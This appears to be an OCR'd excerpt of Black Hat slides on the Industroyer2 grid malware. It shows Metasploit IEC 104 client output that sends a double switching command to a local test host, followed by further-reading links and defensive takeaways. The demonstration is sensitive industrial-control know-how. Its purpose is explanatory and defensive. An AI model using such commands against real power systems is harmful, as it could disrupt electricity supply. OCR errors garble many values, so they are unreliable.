[+] 127.8.0.1:2484 - Parsing response: Double command (C_DC_NA_ 1)
[+] 127.8.0.1:2484 - TX: 88082 RX: 0608

[+] 127.8.0.1:2484 - CauseTx: 87 (Activation Confirmation)

[+] 127.8.0.1:2484 - IOA: 5 DCO: ©xas

[+] 127.8.0.1:2484 - Parsing response: Single point information with time (M_SP_TB_1)
[+] 127.8.8.1:2484 - TX: 9882 RX: 0002

[+] 127.8.8.1:2484 - CauseTx: 83 (Spontaneous)

[+] 127.8.0.1:2484 - I0A: 3 5IQ: Bxes8

[+] 127.8.0.1:2484 - Timestamp: 2818-83-38 21:39:52.938

[+] 127.8.8.1:2484 - Parsing response: Double command (C _DC NA 1)
[+] 127.8.0.1:2484 - TX: 8882 RX: oeo4d

[+] 127.8.0.1:2484 - CauseTx: Ba (Termination Activation)

[+] 127.6.8.1:2464 - I0A: 5 DCO: Bx85

[*] 127.98.8.1:2484 - operation ended

[*] 127.8.9.1:2484 - Terminating Connection

[+] 127.6.8.1:2464 - Received STOPDT_ACT

[*] Auxiliary module execution completed
mst auxiliary(client/iecl@d/iecl@d) >



Wrap up



Further reading

e ESET: Industroyer2: Industroyer reloaded

e Mandiant: INDUSTROYER.V2: Old Malware Learns New Tricks

* Nozomi Networks: Industrover vs. Industroyer2: Evolution of the |EC
104 Component

* Joe Slowik/Dragos: CRASHOVERRIDE: Reassessing the 2016 Ukraine
Electric Power Event as a Protection-Focused Attack



https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks
https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf
https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf

Black Hat sound bytes

 The threat is serious but can be thwarted

 Threat actor “sophistication” lies in knowledge of
protocols and target environment

» Defense should focus on early detection & prevention
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